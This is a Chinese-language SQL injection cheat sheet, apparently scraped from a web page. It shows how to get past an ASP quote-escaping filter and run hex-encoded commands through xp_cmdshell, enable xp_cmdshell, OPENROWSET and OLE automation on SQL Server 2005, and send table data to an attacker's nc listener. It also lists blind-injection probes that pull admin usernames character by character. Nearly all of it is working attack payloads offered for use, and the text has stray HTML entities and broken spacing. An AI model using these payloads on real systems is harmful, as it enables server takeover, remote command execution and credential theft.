SafeRequest(ParaName,ParaType)  ’ --- 传入参数 ---  ’ParaName:参数名称-字符型  ’ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)  Dim Paravalue  Paravalue=Request(ParaName)  If ParaType=1 then   If not isNumeric(Paravalue) then    Response.write "参数" &amp ; ParaName & "必须为数字型!"    Response.end   End if  Else   Paravalue=replace(Paravalue,"’","’’")  End if  SafeRequest=Paravalue End function -- 绕过单引号继续注入 URL;declare @cmd sy sname select @cmd=这里为你要执行命令的16进制 exec master.dbo.xp_cmdshell @cmd;-- --先声明一个变量cmd,而后把咱们的指令赋值给cmd --sql server 2005下开启xp_cmdshell的办法 EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure &rs quo;xp_cmdshell’, 1;RECONFIGURE; --SQL2005开启’OPENROWSET’支持的方法: exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE; --SQL2005开启’sp_oacreate’支持的方法: exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE; 在db权限而且分离获取mssql数据库服务器ip的方法 1.本地nc监 听 nc -vvlp 80 2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’, ’select * from dest_table’) select * from src_table;-- ---------------------------------如下为检测方法--------------------------------- --检测能否注入 ========================================================= ==================== URL and 1=1;--正常页面 URL and 1=2;--出错页面 ============================================================================= --检测数据库的 =============================================================================< br />URL and (select count(*) from sysobjects)>0;--返回正常sql server URL and (select count(*) from msysobjects)>0;--返回正常Access ============================================================================= --检测路径的 ============= ================================================================ URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;-- ============================================================================= - -检测表段的 ============================================================================= URL and exists (select * from admin);-- ============================================================================= --检测字段的 ============= ================================================================ URL and exists (select username from admin) ;-- ============================================================================= --检测ID =============================== ============================================== URL and exists (select id from admin where ID=1) ;-- ============================================================================= --检测长度的 =========================================== ================================== URL and exists (select id from admin where len(username)=5 and ID=1);-- ============================================================================= --检测是否为MSSQL数据库 ============================ ================================================= URL and exists (select * from sysobjects) ;-- ============================================================================= --检测是否为英文 ;-- ========================================= ==================================== URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS数据库 URL and exists (select id from admin where unicode(substring(username,1,1)) betwee n 30 and 130 and ID=1) ;--MSSQL数据库 ============================================================================= --检测英文的范围 ============================================================================= URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS数据库 URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL数据库 ================================ ============================================= --检测那个字符 ============================================================================= URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS数据库 URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL数据库
相关文章
相关标签/搜索